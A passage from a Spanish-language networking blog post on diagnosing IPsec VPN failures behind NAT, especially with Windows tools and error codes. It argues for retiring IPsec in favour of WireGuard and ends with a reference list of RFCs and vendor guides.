el único tráfico y la asociación ya se ha ido. El segundo usuario echa al primero Dos pares llegan al concentrador desde una dirección y se autentican con la misma identidad. La pasarela elige entre conservar la asociación antigua y sustituirla, y un valor por defecto muy extendido es sustituir. Así que gana la segunda conexión y la primera muere en silencio.\nDale a cada par una identidad verdaderamente única en vez de una dirección o un nombre compartido, y configura la pasarela para que conserve varias asociaciones desde una misma dirección en lugar de suponer una por par. Y pruébalo de la única forma que cuenta: dos clientes, una dirección, a la vez. Si tu prueba de aceptación nunca ha tenido dos usuarios detrás de un NAT, no has probado justo el caso en el que está la mayoría de tus usuarios.\nLos mismos fallos, en el Fisher-Price OS (Windows) Cada comprobación de arriba se ejecuta desde una máquina Unix, y si tienes una en esa red úsala, porque te dirá la verdad antes y le da igual lo que corra al otro lado. Pero mucha gente que lee esto tiene un cliente que no conecta, un sistema operativo que le esconde la máquina a propósito, y nada más donde mirar. Así que aquí va el mismo método otra vez, en el mismo orden, con las herramientas que ese sistema trae de verdad.\nMira el cable. No hay tcpdump, pero hay una captura. Lánzala elevada, reproduce el fallo, párala:\nnetsh wfp capture start cab=on file=ipsec netsh wfp capture stop Eso escribe un .cab. Dentro está el rastro de lo que la plataforma de filtrado y el intercambio de claves hicieron realmente mientras fallaba, y eso es más de lo que ninguna de las dos consolas admite. Para verlo en directo en lugar de archivado, la misma familia de comandos escribe en consola con file=-: netsh wfp show state «Displays the current state of WFP and IPsec», y netsh wfp show ikeevents «Displays recent Internet Key Exchange (IKE) epoch events matching the specified parameters», filtrado a un solo par45.\nnetsh wfp show state file=- netsh wfp show ikeevents remoteaddr=203.0.113.5 file=- show ikeevents es aquí lo más parecido al registro de intercambio que cualquier otra pila escribe sin que se lo pidan. Conviene saber que existe. Si no, la interfaz te entrega un número de tres cifras y nada más, y acabas diagnosticando un intercambio de claves a ciegas.\nLee las asociaciones, y lee las dos. Los equivalentes de ip -s xfrm state y swanctl --list-sas son dos cmdlets, y la separación entre ambos es todo el diagnóstico:\nGet-NetIPsecMainModeSA Get-NetIPsecQuickModeSA El modo principal es el intercambio de claves. El modo rápido lleva los paquetes. Microsoft dice la relación con claridad: «There is only one main mode SA between a pair of computers, but there can be many quick mode SAs»46. Así que modo principal presente con modo rápido vacío es el mismo fallo que una IKE_SA levantada sin CHILD_SA debajo, y significa lo mismo: los dos extremos se pusieron de acuerdo en cómo hablar y luego no en qué proteger. Mira los selectores de tráfico, no los algoritmos.\nLee los registros, en los dos sitios donde se esconden. Los fallos de conexión caen en el registro de Aplicación bajo el origen RasClient, y la nota de Microsoft sobre cómo leerlos es la parte útil: «All error messages return the error code at the end of the message»47. Ese número es el diagnóstico, y la sección siguiente dice qué significan los números. Las decisiones de directiva y de filtrado caen en otro sitio completamente distinto, bajo Registros de aplicaciones y servicios, en los canales de Firewall de Windows con seguridad avanzada. Dos registros, dos equipos, un fallo.\nRecógelo como es debido cuando tengas que escalar. El paquete soportado es TSS — TSS.ps1 -Scenario NET_VPN en el cliente, TSS.ps1 -Scenario NET_RAS en el servidor, arrancado antes de reproducir el fallo y parado después48. Apréndelo antes de que alguien te lo pida.\nCuando se queda en Conectando y acaba expirando Este es el fallo que llena los tickets, y la palabra del error es mentira. Empieza por nombrar el código. El código es preciso aunque el mensaje no sirva de nada.\nUna expiración de conexión es una de tres cosas, y ninguna es un reloj Lo que el cliente llama expiración, y lo que fue en realidad El cliente dice: tiempo agotado 809, 718, 828, 930, 638 \u0026#8212; cinco códigos, una palabra, y ninguno es un reloj Es una de tres cosas, y una prueba te dice cuál No llegó nada el caso del silencio Prueba: captura en el cliente \u0026#8212; ¿sale UDP 500 y no vuelve nada? Filtrado en el camino, o traversía de NAT nunca negociada, así que el 4500 no se envió jamás. Llegó, demasiado grande el caso del fragmento Prueba: ¿conecta una clave precompartida donde un certificado no lo hace? IKE_AUTH lleva la cadena, así que se fragmenta, y el fragmento se descarta en el camino. Nunca fue el túnel el caso de la capa equivocada Prueba: ¿registra la pasarela un fallo de autenticación en el mismo segundo? 930 es RADIUS. 812 es el método de autenticación. 13801 y 13806 son certificados. Ninguna de las tres es un temporizador. Alargar el tiempo de espera es lo único a lo que te invita la interfaz, y lo único que no ha arreglado nunca ninguna. La palabra está ahí porque la capa que informa del fallo no ve lo bastante lejos para decir más. Prueba en ese orden. La primera cuesta treinta segundos de captura, la segunda un intento de conexión, la tercera un registro. Cinco códigos de error llevan la palabra timeout y ninguno es un reloj. Es una de tres cosas, y una sola prueba las separa: una captura dice si volvió algo siquiera, un intento de conexión con clave precompartida dice si el intercambio de certificados era simplemente demasiado grande para llegar, y el registro de la pasarela dice si el túnel fue alguna vez el problema. Pruébalas en ese orden, porque ese es también el orden de lo que cuestan. Código Nombre en raserror.h Qué pasó de verdad 809 ERROR_VPN_TIMEOUT No volvió absolutamente nada. La causa que da Microsoft: «the UDP 500 or 4500 ports on the VPN server or firewall are blocked»47 — pero blocked cubre tres cosas distintas y solo una es una regla de denegación. Lo normal es que el 4500 no se enviara nunca, porque la traversía de NAT no se negoció, o que el ayudante que antes lo llevaba esté apagado. Sigue leyendo antes de pedir un cambio en el cortafuegos 789 ERROR_OAKLEY_GENERAL_PROCESSING «The L2TP connection attempt failed because the security layer encountered a processing error during initial negotiations» — las credenciales o los certificados, no la red 718 ERROR_PPP_TIMEOUT La parte IPsec funcionó. PPP dentro del túnel L2TP no obtuvo respuesta 828 ERROR_IDLE_TIMEOUT «The connection was terminated because of idle timeout» — un ajuste del lado del servidor, a propósito 930 ERROR_AUTH_SERVER_TIMEOUT RADIUS no contestó a tiempo. No tiene nada que ver con IPsec 638 ERROR_REQUEST_TIMEOUT El genérico. Trátalo como ausencia de información y vete al cable Todos salen de la propia lista de errores de Microsoft49. Ahora vuelve a leer el 809. Se llama ERROR_VPN_TIMEOUT, y la causa documentada es un puerto bloqueado. El cliente no expira porque el otro extremo sea lento. Expira porque el otro extremo está mudo, y el silencio es el único modo de fallo que sabe informar un protocolo sin puertos y sin negociación visible.\nOjo con la palabra blocked, eso sí, porque carga más de lo que aguanta. Tres cosas distintas la llevan puesta, y solo una de ellas es una regla de denegación.\nNadie envió nunca un 4500. La traversía de NAT no se negoció, así que el cliente siguió hablando ESP, y ESP no le da nada que reescribir a un traductor. El comportamiento por defecto de esa plataforma ya basta como explicación: sin el valor de registro no forma ninguna asociación NAT-T con un servidor detrás de un traductor31. Así que el 4500 no está bloqueado. No se ha intentado nunca.\nEl ayudante que antes tapaba esto está apagado. Los cortafuegos y los routers domésticos llevan ayudantes por protocolo — el IPsec passthrough en equipo de consumo, y toda la familia de pasarelas de nivel de aplicación detrás — que leen un protocolo que el NAT no sabe tratar y abren el camino de vuelta para él. En Linux la forma automática de todo eso se apagó por defecto en el núcleo 4.7 «for security reasons», y desde entonces la recomendación es enganchar un ayudante a propósito con una regla o no hacerlo en absoluto; entre los ayudantes cubiertos está el de PPTP50.\nY apagarlos fue lo correcto. Un ayudante es un trozo de tu cortafuegos que analiza una carga útil y luego abre un agujero según lo que ha leído. NAT Slipstreaming es la factura de eso: un navegador que visita una página, tráfico moldeado para que el ayudante SIP o H.323 del router lo lea como una llamada, y un agujero abierto a través del NAT — en la versión de 2021, hacia cualquier dirección interna, no solo hacia la máquina que cargó la página51. Apagar los ayudantes cierra eso. También deja tu IPsec parado. Las dos cosas son ciertas a la vez, y la segunda no es un argumento para deshacer la primera.\nQue es otra vez esta entrada en pequeño. El protocolo solo funcionaba porque unas cajas en medio leían tráfico que no era suyo y abrían agujeros en su nombre, y el sector se ha pasado la última década decidiendo, con toda la razón, dejar de hacer eso.\nAsí que trabaja las causas en este orden, lo más barato primero.\nUna: no vuelve nada. Captura en el cliente, o pregúntale a la pasarela. Si UDP 500 sale y no vuelve nada, es filtrado o alcanzabilidad, y ningún temporizador lo arregla. Si el 500 va y viene y el 4500 no aparece nunca, la traversía de NAT no se negoció. Y si cualquiera de los dos extremos está detrás de un traductor, vuelves al valor de registro de más arriba en esta entrada: AssumeUDPEncapsulationContextOnSendRule, 1 o 2, en las dos máquinas, y luego reiniciar31. Sin él, el cliente se niega por diseño y lo notifica como expiración.\nDos: la respuesta es demasiado grande para llegar. Esta se lleva tardes enteras. La autenticación por certificado hace grande el segundo intercambio, porque lleva una cadena, y un intercambio grande se fragmenta. Los fragmentos los tiran las mismas cajas intermedias que todo lo demás de esta entrada, el cliente retransmite al mismo agujero, y entonces se rinde y dice expiración. La señal es un diagnóstico por sí sola: una clave precompartida conecta y un certificado no. Eso no es un fallo de certificado. Es un fallo de tamaño, porque el intercambio con clave precompartida es lo bastante pequeño para caber. La fragmentación IKEv2 normalizada existe precisamente para esto23, y strongSwan deja constancia de cuándo la tuvo esta plataforma: «IKEv2 fragmentation is supported since the v1803 release of Windows 10 and Windows Server»33. Cualquier cosa más antigua, o una pasarela con la fragmentación desactivada, y dependes de un camino que lleve un datagrama UDP fragmentado. Muchos no lo hacen.\nTres: conecta y luego se cae a reloj. Cronométralo. Si muere tras un periodo fijo de inactividad, eso es el 828 y es configuración, no un fallo — -IdleDisconnectSeconds en el servidor, con -SALifeTimeSeconds, -MMSALifeTimeSeconds y -SADataSizeForRenegotiationKilobytes como los otros tres relojes capaces de terminar una sesión52. El último la termina por volumen en lugar de por tiempo, y por eso una sesión puede morir puntualmente durante una copia grande de ficheros y nunca durante un día entero de correo. Y si muere al renovar claves con el cliente detrás de NAT, ese es el fallo de interoperabilidad documentado más arriba: el cliente rechaza una renovación iniciada por el servidor con el error de Microsoft 13863, y la respuesta del lado de la pasarela es dejar de iniciarla y que la inicie el cliente33.\nCuatro: no es el túnel en absoluto. El 930 es RADIUS. El 812 es un método de autenticación que el servidor no aceptó47. El 13801 y el 13806 son certificados — uso extendido de clave equivocado, caducado, falta la raíz, o un nombre de servidor que no coincide con el sujeto del certificado47. La negociación del túnel estaba bien en los cuatro casos, y si te pasas la tarde con los algoritmos no encontrarás ninguno.\nEsto es lo que hay que llevarse de esa tabla. Seis códigos de error, cinco de ellos con la palabra timeout en el nombre, y ni uno solo es una expiración de verdad. Son un puerto bloqueado, un fragmento perdido, una decisión de directiva y un servidor RADIUS, todos llevando la misma palabra, porque la capa que informa del fallo no ve lo bastante de lo que pasó como para decir algo más útil. Alargar el temporizador no arregla ninguno, y alargar el temporizador es justo a lo que te invita la interfaz.\nQué usar en su lugar No voy a fingir que el sustituto sea exótico. Está en el núcleo y lleva años estándolo.\nWireGuard es un puerto UDP, una clave por par, ninguna negociación de cifrados y ninguna agilidad de protocolo. La postura de su autor al respecto es deliberada y está dicha: «It intentionally lacks cipher and protocol agility. If holes are found in the underlying primitives, all endpoints will be required to update. As shown by the continuing torrent of SSL/TLS vulnerabilities, cipher agility increases complexity monumentally.»53 Esa sola decisión borra de golpe NO_PROPOSAL_CHOSEN, INVALID_KE_PAYLOAD, los ataques de degradación y el hallazgo de Logjam, porque no hay nada que negociar ni nada que degradar.\nTambién es honesto con el precio, y yo también: sin agilidad, el día que cae una primitiva actualizas la flota entera en lugar de cambiar una línea de configuración. Es un coste operativo real y es el correcto a pagar.\nEl resto encaja casi punto por punto con la lista de arriba. Tener un puerto UDP significa que NAT y CGNAT lo tratan como a cualquier otro flujo, y que ECMP y la agregación de enlaces le aplican el hash como a cualquier otro flujo. La itinerancia viene de serie en vez de atornillada — un paquete autenticado desde una dirección nueva mueve el extremo del par, así que un teléfono que pasa del wifi al móvil no renegocia nada. A un paquete no autenticado no le responde nada, así que un escáner encuentra un puerto cerrado donde IPsec le ofrecería un concentrador con el que hablar. Y cabe en menos de 4.000 líneas de código53, frente a una pila que necesita un documento entero para enumerar sus dieciséis incompatibilidades con una sola caja intermedia.\nEn rendimiento, sencillamente midió más rápido que las dos configuraciones IPsec con las que se comparó: 1.011 Mbit/s frente a 881 y 825, con menos latencia53. Yo no retiraría un protocolo por una prueba de rendimiento. Lo menciono porque el último argumento que le queda a IPsec suele ser el rendimiento, y tampoco es cierto.\nPara llevar a una persona hasta una aplicación — en lugar de una red hasta otra red — la respuesta no es un túnel en absoluto. Identidad en la puerta, la aplicación publicada a través de ella, nada encaminado. Eso lo he montado con Proxmox y Cloudflare Access en VDI Zero Trust sin la factura de la nube, y lo relevante aquí es que quien necesita tres aplicaciones internas no necesita una ruta a todo tu parque.\nY digamos en voz alta la parte callada sobre el hardware. Sí, hay tarjetas de red y ASIC con descarga de ESP, y ese es un argumento real para IPsec en equipos concretos a velocidades concretas. Es un argumento sobre silicio que alguien ya te vendió, no sobre que el protocolo sea correcto. Como tal caduca, y rápido. PPTP sobrevivió exactamente igual, exactamente mientras existió la casilla.\nRetirarlo como es debido Retirar algo es un plan con fechas, no un sentimiento. Este es el que yo firmaría.\nPara los nuevos despliegues de IPsec ahora. No «preferir alternativas». Parar. Cada túnel nuevo es un túnel que alguien tendrá que migrar más adelante, y los que se construyen hoy seguirán funcionando en 2035 si nadie dice que no esta semana.\nHaz primero el acceso remoto, porque ahí es donde más fuerte cae cada avería de esta entrada: el CGNAT, la dirección compartida, los keepalives, el segundo usuario en la misma casa, el agujero negro de MTU en la red de un hotel cualquiera. Es además lo más fácil de mover, porque los equipos están gestionados y el cambio es un cliente.\nDespués el sitio a sitio por internet público, los mismos problemas con menos extremos y una ventana de mantenimiento.\nDeja para el final los túneles de los que no posees los dos extremos: un socio, un regulador, el servicio gestionado de un operador. Esos se mueven cuando se mueve el contrato, y cómo ponerlos en movimiento está en el punto siguiente.\nDeja de comprar equipos cuyo único túnel es IPsec. Ponlo en el pliego. Una línea que pida un túnel moderno, basado en puertos y capaz de itinerancia, es una línea que un fabricante contesta o no contesta, y así es como acaba perdiendo el argumento del parque instalado. Ese argumento es el único que mantiene vivo todo esto, y solo se derrota comprando.\nEscribe qué túneles quedan y por qué, y pon una fecha a cada uno. Un protocolo del que nadie se ha ocupado en diez años es como PPTP ha llegado a 2026. Un inventario con fechas es la diferencia entre retirar algo y limitarse a que no te guste.\nSi lo sigues desplegando, ¿puedes llamarte profesional de TI? Es una pregunta de verdad, y la voy a responder con honestidad, porque es hacia donde camina el resto de esta entrada.\nDepende de si lo sabes. Y saber no te pasa sin más. Asegurarte de que lo sabes es el trabajo.\nSi este año estás montando un acceso remoto IPsec nuevo y no sabes decir, sin mirar nada, por qué ESP no tiene puertos, qué le hace una línea residencial detrás de NAT de operador, por qué una red NAT64 no lo lleva en absoluto, o para qué sirve realmente ese byte cada veinte segundos — entonces no. En esto no, todavía no. No estás eligiendo un protocolo. Estás repitiendo una forma, porque la anterior era así y nadie en la sala preguntó por qué — tú incluido. El fallo no es la laguna. Lagunas tiene todo el mundo. El fallo es construir por encima de una que nunca fuiste a cerrar. Como tal, quien lo herede en 2035 se come una década de tickets que eran todos evitables el día que lo dibujaste.\nY le voy a poner el nombre que le toca, porque la versión educada lleva veinte años circulando y no ha cambiado nada. Quien despliega un protocolo que no sabe explicar no es un ingeniero. Es un seguidor. Lee fichas — la arquitectura de referencia del fabricante, la última petición de cambio, un diagrama que alguien dibujó en 2014 y que nadie ha vuelto a abrir — y las lee con auténtica convicción, y detrás de la actuación no hay comprensión ninguna. Desde fuera se parece exactamente a la competencia. Sigue pareciéndose exactamente a la competencia hasta el primer fallo que las fichas no cubren, y a partir de ese segundo es lo único que importa en la sala.\nLas fichas son también la razón de que este protocolo siga aquí. Nadie se puso delante de una pizarra en 2026 a defender IPsec por sus méritos. Se volvió a desplegar porque estaba en la ficha, y la ficha la escribió un fabricante cuyo interés es que sigas comprando la caja que lo termina. Así es como algo sobrevive veinte años a su propia esquela: no por haber sido defendido, sino por no haber tenido que justificarse ni una sola vez ante alguien capaz de notar la diferencia.\nY esto se dice. En voz alta, en la sala, en el momento — no mascullado en el pasillo después. Quien pone la palabra profesional al lado de su nombre recibe con ella la invitación a que le pregunten, y preguntar no es de mala educación. Que te pregunten y tener respuesta es toda la diferencia entre la palabra y una tarjeta de visita.\nDonde más pesa es cuando lo estás pagando. Una consultora, un MSP, la rama de servicios profesionales de un fabricante, el integrador del acuerdo marco: lo que compras es criterio, y el criterio es lo único que no puedes inspeccionar en la entrega. Así que inspecciónalo antes. Pregunta por qué este protocolo y no otro. Pregunta qué le pasa en una línea detrás de NAT de operador, en una red móvil solo IPv6, en un camino que descarta fragmentos en silencio. Pregunta cuáles de esos han vivido ellos mismos y qué hicieron entonces. Sabrás en menos de dos minutos si te están contando algo o leyéndotelo, y dos minutos son una prueba bastante más barata que cuatro años de tickets. Y si la respuesta son fichas y firmas igualmente, eso también es una decisión: acaba de pasar a ser tuya y no suya.\nSi sabes decir todo eso y lo despliegas igualmente porque un regulador lo nombra por protocolo, porque el equipo del socio no termina otra cosa, o porque el sustituto está en el presupuesto del año que viene y esto tiene que funcionar en marzo — entonces sí, evidentemente, y estás haciendo bien tu trabajo. Las restricciones son reales, y yo he construido rodeando cosas peores. Lo que separa a los dos no es el protocolo del diagrama. Es si escribiste por qué, y si hay una fecha al lado.\nLa posición indefendible es la de en medio. Saber lo bastante para estar incómodo, y construirlo igual porque nadie te obligó a justificarlo. Eso no es ingeniería. Es costumbre, con un número de cambio encima — y es exactamente así como L2TP acabó en una ficha técnica impresa este año.\nAsí que hazte la pregunta antes de que cierre el concurso, no después. Profesional no es una palabra sobre qué protocolos conoces. Es una palabra sobre si puedes defender el que elegiste, en voz alta, ante alguien que conoce sus modos de fallo. Si puedes, despliega lo que exijan las restricciones y duerme tranquilo. Si no puedes, acabas de encontrar lo que toca leerse esta noche, y eso no es un insulto. Todo el mundo fue seguidor alguna vez, sin excepción, yo incluido. Lo que no se puede defender es elegir seguir siéndolo y llamar a eso una carrera.\nUna buena idea también puede haber terminado Quiero ser justo con IPsec, porque se lo merece.\nFue el instinto correcto. La seguridad va abajo en la pila, donde todo la hereda y ninguna aplicación tiene que merecer confianza para hacerla bien. Atar la asociación a la dirección no fue un error en 1995 — la dirección era la máquina, y construir sobre eso era lo correcto. Quienes lo escribieron eran gente seria con un problema real, y es el artículo de WireGuard, entre todos los documentos, el que mejor lo dice: la estratificación de IPsec es sólida, todo está en su sitio, hasta la perfección académica53.\nY entonces se movió el suelo. No porque IPsec hiciera nada mal, sino porque este sector decidió que las direcciones eran un coste que gestionar en lugar de algo que recibe cada máquina, y construyó veinticinco años de traducción para esquivar la alternativa. A IPsec se le retiró el cimiento sin ruido y, en vez de admitirlo, calzamos por debajo. Encapsulación UDP. Luego keepalives. Luego encapsulación TCP para las redes que bloquean UDP. Luego otra cabecera UDP para que un router encuentre algo a lo que aplicar el hash. Cada arreglo razonable por separado; el montón que forman es un protocolo sostenido en pie por gente a la que pagan por sostenerlo en pie.\nEsa es la parte que merece enfado, y en realidad no va de IPsec. Nuestro sector es muy bueno manteniendo cosas y muy malo terminándolas. El mantenimiento es facturable, presupuestado, con gente asignada y seguro. Retirar algo es una decisión que alguien tiene que firmar, con su nombre debajo, y sin recompensa inmediata. Así que PPTP vivió catorce años más allá de la prueba de que no valía nada, L2TP se sigue entregando en cajas que se venden este año, e IKEv1 siguió negociando túneles una década después de pasar a Historic. No porque nadie los defendiera. Sino porque nunca se obligó a nadie a matarlos.\nNo hay premio por acertar el 90 %. Ferguson y Schneier lo escribieron de IPsec en 1999, y lo que ha pasado desde entonces son treinta años en los que el sector se ha equivocado en el último 10 % de una forma nueva cada vez y ha llamado solución al parche.\nUna buena idea también puede haber terminado. Saber cuándo dejar de mantener algo es una habilidad, y es aquella en la que este oficio es peor. Alguien tiene que ser quien diga que un protocolo ya ha tenido su vida, escriba la fecha y cargue con las consecuencias de haber sido quien lo dijo. Si no, en 2040 seguiremos mandando un paquete de un byte cada veinte segundos, para mantener caliente una tabla en una caja que no es nuestra, en una red que nos quitó las direcciones y nos las cobró.\nRFC 4301 — Security Architecture for the Internet Protocol, diciembre de 2005. Define la asociación de seguridad y el trío por el que se busca: dirección de destino, protocolo de seguridad y SPI.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4302 — IP Authentication Header, diciembre de 2005. El control de integridad de AH cubre los campos inmutables de la cabecera IP, direcciones de origen y destino incluidas.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9329 — TCP Encapsulation of Internet Key Exchange Protocol (IKE) and IPsec Packets, noviembre de 2022, sustituye al RFC 8229. Existe porque las cajas intermedias de las redes públicas bloquean UDP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3715 — IPsec-Network Address Translation (NAT) Compatibility Requirements, marzo de 2004. Dieciséis incompatibilidades enumeradas, entre ellas: «Since the AH header incorporates the IP source and destination addresses in the keyed message integrity check, NAT or reverse NAT devices making changes to address fields will invalidate the message integrity check.» y «Where IP addresses are used as identifiers in Internet Key Exchange Protocol (IKE) Phase 1 or Phase 2, modification of the IP source or destination addresses by NATs or reverse NATs will result in a mismatch between the identifiers and the addresses in the IP header.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Configuring IPsec NAT-Traversal, Security Configuration Guide, Cisco IOS XE 17.15.x (Catalyst 9300 Switches). «If PAT found a legislative IP address and port, it would drop the Encapsulating Security Payload (ESP) packet»; la cabecera UDP y un marcador no-IKE de ocho bytes se insertan entre la cabecera IP externa y la cabecera ESP; la lista de restricciones incluye reglas estáticas para los puertos 500 y 4500, la falta de soporte de políticas de NAT dinámico, la ausencia de IPv6, y que IPsec y NAT no pueden funcionar a la vez en el mismo equipo.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3948 — UDP Encapsulation of IPsec ESP Packets, enero de 2005, con la negociación en el RFC 3947. Define el keepalive como «a one-octet-long payload with the value 0xFF», enviado «if no other packet to the peer has been sent in M seconds. M is a locally configurable parameter with a default value of 20 seconds.», y exige poner a cero la suma de comprobación UDP: «If the protocol header after the ESP header is a UDP header, set the checksum field to zero in the UDP header.» Microsoft, Cisco, F-Secure, Nortel y SafeNet figuran todos en las listas de autores de los RFC 3947 y 3948.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nJuniper — Route-Based and Policy-Based VPNs with NAT-T, Junos OS IPsec VPN User Guide. «NAT-T encapsulates both IKE and ESP traffic within UDP with port 4500 used as both the source and destination port»; «Because NAT devices age out stale UDP translations, keepalive messages are required between the peers»; y en SRX5400, SRX5600 y SRX5800: «the total number of tunnels from a given public translated IP cannot exceed 1000 tunnels.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 8221 — Cryptographic Algorithm Implementation Requirements and Usage Guidance for ESP and AH, octubre de 2017. ENCR_DES MUST NOT, ENCR_3DES SHOULD NOT, AUTH_HMAC_MD5_96 MUST NOT; ESP junto con AH es NOT RECOMMENDED.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4787 — Network Address Translation (NAT) Behavioral Requirements for Unicast UDP, enero de 2007. REQ-5: «A NAT UDP mapping timer MUST NOT expire in less than two minutes», con «a default value of five minutes or more for the NAT UDP mapping timer is RECOMMENDED».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6146 — Stateful NAT64: Network Address and Protocol Translation from IPv6 Clients to IPv4 Servers, abril de 2011. «The current specification only defines how stateful NAT64 translates unicast packets carrying TCP, UDP, and ICMP traffic. Multicast packets and other protocols, including the Stream Control Transmission Protocol (SCTP), the Datagram Congestion Control Protocol (DCCP), and IPsec, are out of the scope of this specification.» Los paquetes que lleven otra cosa «SHOULD be discarded».\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6877 — 464XLAT: Combination of Stateful and Stateless Translation, abril de 2013. Da a un dispositivo solo IPv6 una pila IPv4 local para que funcione el tráfico que NAT64 no puede llevar.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nIETF — draft-xu-ipsecme-esp-in-udp-lb, Encapsulating IPsec ESP in UDP for Load-balancing. «Although the ESP SPI field within the IPsec packets can be used as the load-balancing key, but it cannot be used by legacy switches and routers»; «Many cloud service providers allow customers to establish multiple IPsec VPN tunnels in parallel to enable ECMP and increase aggregate bandwidth. However, this approach is not ideal, as each tunnel typically requires its own public IP address, leading to higher public IP consumption and increased operational overhead.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Resolve IPv4 Fragmentation, MTU, MSS, and PMTUD Issues with GRE and IPsec. La referencia mantenida desde hace años sobre la sobrecarga de los túneles, el descubrimiento de MTU de camino y lo que se rompe cuando los errores ICMP no vuelven.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nCisco — Troubleshoot IPsec Anti-Replay Check Failures. «Certain QoS features, such as Low Latency Queueing (LLQ), could cause IPsec packet delivery to become out-of-order and dropped by the receiving endpoint due to a replay check failure.» Ventana por defecto de 64 paquetes; 1024 en plataformas más nuevas; el otro remedio son varios espacios de números de secuencia por asociación.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2661 — Layer Two Tunneling Protocol «L2TP», agosto de 1999. Un protocolo de túnel para PPP sin confidencialidad propia a nivel de paquete; su sección de seguridad remite a IPsec.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nMoxie Marlinspike y David Hulton — Divide and Conquer: Cracking MS-CHAPv2 with a 100% Success Rate, 2012; herramienta en github.com/moxie0/chapcrack. La seguridad de MS-CHAPv2 se reduce a una sola operación DES sea cual sea la longitud de la contraseña; crónica de la época en The Register. Su conclusión fue considerar el tráfico PPTP como no cifrado.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nApple — If you see a «VPN Using PPTP May Not Be Secure» alert. PPTP se retiró del cliente integrado de macOS Sierra e iOS 10 en 2016.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4303 — IP Encapsulating Security Payload (ESP), diciembre de 2005. Protocolo IP 50; la cabecera ESP lleva el SPI y el número de secuencia, y no tiene campo de puerto.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 9395 — Deprecation of the Internet Key Exchange Version 1 (IKEv1) Protocol and Obsolete Cryptographic Algorithms, abril de 2023. «Internet Key Exchange Version 1 (IKEv1) has been deprecated, and RFCs 2407, 2408, and 2409 have been moved to Historic status.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7296 — Internet Key Exchange Protocol Version 2 (IKEv2), octubre de 2014. El intercambio de claves actual, y la fuente de los nombres de notificación de la tabla de diagnóstico.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3173 — IP Payload Compression Protocol (IPComp), septiembre de 2001. Su propio número de protocolo IP y sus propias asociaciones, negociadas junto a ESP.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2367 — PF_KEY Key Management API, Version 2, julio de 1998. La interfaz del núcleo con la que un demonio de claves instala asociaciones.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 7383 — IKEv2 Message Fragmentation, noviembre de 2014. «This document describes a way to avoid IP fragmentation of large Internet Key Exchange Protocol version 2 (IKEv2) messages.»\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 4555 — IKEv2 Mobility and Multihoming Protocol (MOBIKE), junio de 2006. Permite que un túnel establecido sobreviva a un cambio de dirección.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3706 — A Traffic-Based Method of Detecting Dead Internet Key Exchange (IKE) Peers, febrero de 2004.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\ndraft-beaulieu-ike-xauth — Extended Authentication within IKE (XAUTH). Última revisión 02, octubre de 2001, estado Expired, «Expired \u0026amp; archived», nunca publicado como RFC. El borrador deja constancia de que se ofreció como Informational porque «the IPSRA working group will not accept any protocol which extends ISAKMP or IKE, and the IPsec working group refuses to accept any protocols that deal with remote access.» Mode-Config corrió la misma suerte.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 3193 — Securing L2TP using IPsec, noviembre de 2001. Coescrito en Microsoft.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 2332 — NBMA Next Hop Resolution Protocol (NHRP), abril de 1998. La pieza con la que los radios de DMVPN se encuentran.\u0026#160;\u0026#x21a9;\u0026#xfe0e;\nRFC 6407 — The Group Domain of Interpretation, octubre de 